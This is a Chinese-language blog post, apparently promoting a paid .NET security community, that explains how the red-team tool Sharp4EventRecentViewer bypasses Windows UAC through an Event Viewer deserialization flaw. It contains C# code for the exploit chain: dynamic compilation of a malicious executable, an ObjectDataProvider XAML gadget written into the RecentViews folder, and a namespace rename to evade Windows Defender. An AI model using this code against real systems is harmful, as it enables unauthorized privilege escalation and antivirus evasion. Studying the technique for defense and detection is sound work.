01阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面
02基本介绍
Sharp4EventRecentViewer是一款红队常用的UAC绕过工具,利用Windows事件查看器的反序列化漏洞,来实现系统命令执行和UAC绕过。本文将详细介绍该工具的使用方式、代码实现,以及其在红队渗透测试中的实际应用。
03使用方法
在执行Sharp4EventRecentViewer时,只需提供需要执行的命令行参数。例如:
Sharp4EventRecentViewer.exe cmd.exe
工具会自动生成的恶意载荷文件并写入到事件查看器的RecentViews路径。如下图所示。
然后工具自动化模拟用户打开事件查看器,完成触发反序列化漏洞,启动新的CMD进程命令。如下图所示。
04原理解析
以下是工具的关键代码部分解析,工具首先检查事件查看器的RecentViews文件夹是否存在,并确定该路径为目标路径。
string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft", "Event Viewer", "RecentViews");
Console.WriteLine("Checking if the path \"{0}\" exists...", path);
通过Environment.GetFolderPath方法获取用户的本地应用数据文件夹,再结合Path.Combine方法确定Event Viewer\RecentViews的完整路径。
随后,使用C#代码动态编译一个恶意的可执行文件,其中包含了CreateProcess API调用,用于执行系统命令:
CSharpCodeProvider codeProvider = new CSharpCodeProvider();
CompilerParameters parameters = new CompilerParameters();
parameters.GenerateExecutable = true;
parameters.OutputAssembly = Path.Combine(Path.GetTempPath(), "StartInSelectedDesktop.exe");
string sourceCode = "..."; // 恶意代码(包含CreateProcess调用)
codeProvider.CompileAssemblyFromSource(parameters, new string[] { sourceCode });
此处,利用动态编译功能允许生成随时变更的恶意载荷,提高了工具的灵活性和隐蔽性。之后,工具生成了ObjectDataProvider对象,并将其序列化为XAML字符串
ObjectDataProvider provider = new ObjectDataProvider
{
MethodName = "Start",
ObjectInstance = new Process { StartInfo = new ProcessStartInfo { FileName = outputAssembly } }
};
StringBuilder sb = new StringBuilder();
XmlWriterSettings settings = new XmlWriterSettings { Indent = true };
using (XmlWriter writer = XmlWriter.Create(sb, settings))
{
XamlWriter.Save(provider, writer);
}
string xaml = sb.ToString();
xaml = xaml.Replace("xmlns:sd", "xmlns:sf").Replace("<sd:", "<sf:").Replace("</sd:", "</sf:");
此处,ObjectDataProvider类被用来封装恶意Process对象,将Start方法作为序列化执行目标。通过对XAML文件内容中的sd命名空间进行修改,进一步绕过Windows Defender的检测。当事件查看器加载该文件时,会通过反序列化漏洞执行恶意命令,实现UAC绕过,执行payload。
综上,Sharp4EventRecentViewer充分利用了Windows事件查看器的反序列化漏洞,具备强大的UAC绕过能力。在红队渗透测试中,该工具因其高度隐蔽性和无文件特性而受到广泛应用。
05.NET安全知识库
星球文化20+个专题栏目涵盖了点、线、面、体等知识面!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。